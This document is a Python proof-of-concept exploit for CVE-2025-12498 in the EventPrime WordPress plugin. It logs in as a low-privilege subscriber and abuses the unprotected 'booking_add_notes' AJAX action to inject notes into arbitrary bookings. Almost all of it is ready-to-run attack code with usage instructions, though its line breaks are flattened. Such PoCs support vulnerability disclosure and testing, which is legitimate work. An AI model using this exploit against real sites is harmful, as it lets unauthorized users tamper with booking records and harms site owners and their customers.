CVE-2025-12498

# CVE-2025-12498 PoC - EventPrime Unauthorized Booking Note Addition # Author: Security Researcher # Target: WordPress with EventPrime plugin <= 4.2.0.0 import requests import sys from urllib.parse import urlencode def exploit_unauthorized_booking_note(target_url, username, password, booking_id, note_content): """ Exploits CVE-2025-12498: Missing authorization check in booking_add_notes function Args: target_url: Base URL of the WordPress site username: WordPress username with Subscriber+ role password: WordPress password booking_id: Target booking ID to add note to note_content: Malicious note content to inject Returns: bool: True if exploitation appears successful, False otherwise """ session = requests.Session() # Step 1: Login to WordPress to obtain authentication cookies login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } login_response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies.get_dict()): print("[-] Login failed. Check credentials.") return False print("[+] Login successful. Subscriber-level account authenticated.") # Step 2: Exploit the vulnerability by sending malicious booking note request ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'booking_add_notes', 'booking_id': booking_id, 'notes': note_content, 'ep_ajax_call': 'true', 'security': 'dummy' # In vulnerable version, security check is missing } exploit_response = session.post(ajax_url, data=exploit_data) # Step 3: Analyze response if exploit_response.status_code == 200: try: response_json = exploit_response.json() if response_json.get('success') or 'note added' in str(response_json).lower(): print(f"[+] VULNERABLE! Successfully added note to booking #{booking_id}") print(f"[+] Note content: {note_content}") print("[+] Attacker can now modify any booking's notes without proper authorization.") return True except: pass if '1' in exploit_response.text or 'success' in exploit_response.text.lower(): print(f"[+] VULNERABLE! Successfully added note to booking #{booking_id}") return True print("[-] Exploitation failed or target is patched.") return False if __name__ == "__main__": if len(sys.argv) < 6: print("Usage: python cve-2025-12498_poc.py <target_url> <username> <password> <booking_id> <note>") print("Example: python cve-2025-12498_poc.py http://example.com subscriber password 123 'Malicious note'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] bid = sys.argv[4] note = sys.argv[5] exploit_unauthorized_booking_note(target, user, pwd, bid, note)

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